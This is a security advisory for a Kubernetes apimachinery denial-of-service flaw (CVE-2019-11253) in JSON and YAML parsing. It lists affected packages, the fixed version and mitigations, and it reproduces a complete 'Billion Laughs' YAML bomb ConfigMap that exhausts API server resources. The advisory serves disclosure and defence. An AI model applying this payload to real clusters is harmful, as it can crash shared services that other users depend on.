GHSA-74fp-r6jw-h4mp Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing
Authorized users can cause Kubernetes API server denial of service via malicious YAML or JSON payloads triggering excessive resource consumption.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-74fp-r6jw-h4mp?
GHSA-74fp-r6jw-h4mp is a denial of service vulnerability in k8s.io/apimachinery, published on 2 Sep 2022. Any signed-in user can exploit it over the network, with no action from the victim.
Official description
CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable.
When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue.
Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.
apiVersion: v1
data:
a: &a ["web","web","web","web","web","web","web","web","web"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
name: yaml-bomb
namespace: default
Specific Go Packages Affected
- k8s.io/apimachinery/pkg/runtime/serializer/json
- k8s.io/apimachinery/pkg/util/json
Which versions are affected by GHSA-74fp-r6jw-h4mp?
3 open source packages ship an affected version, including k8s.io/apimachinery.
| Package | Affected | Fixed in |
|---|---|---|
k8s.io/apimachinery Go | All versions | 0.0.0-20190927203648-9ce6eca90e73 |
k8s.io/apimachinery Go | All versions | 0.0.0-20190927203648-9ce6eca90e73 |
k8s.io/apimachinery Go | All versions | 0.0.0-20190927203648-9ce6eca90e73 |
How do I fix GHSA-74fp-r6jw-h4mp?
Upgrade k8s.io/apimachinery to 0.0.0-20190927203648-9ce6eca90e73 or later.
Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.
Is GHSA-74fp-r6jw-h4mp being exploited?
There is no known exploitation of GHSA-74fp-r6jw-h4mp in the wild and no public exploit code.
Sources
Also known as GO-2022-0965.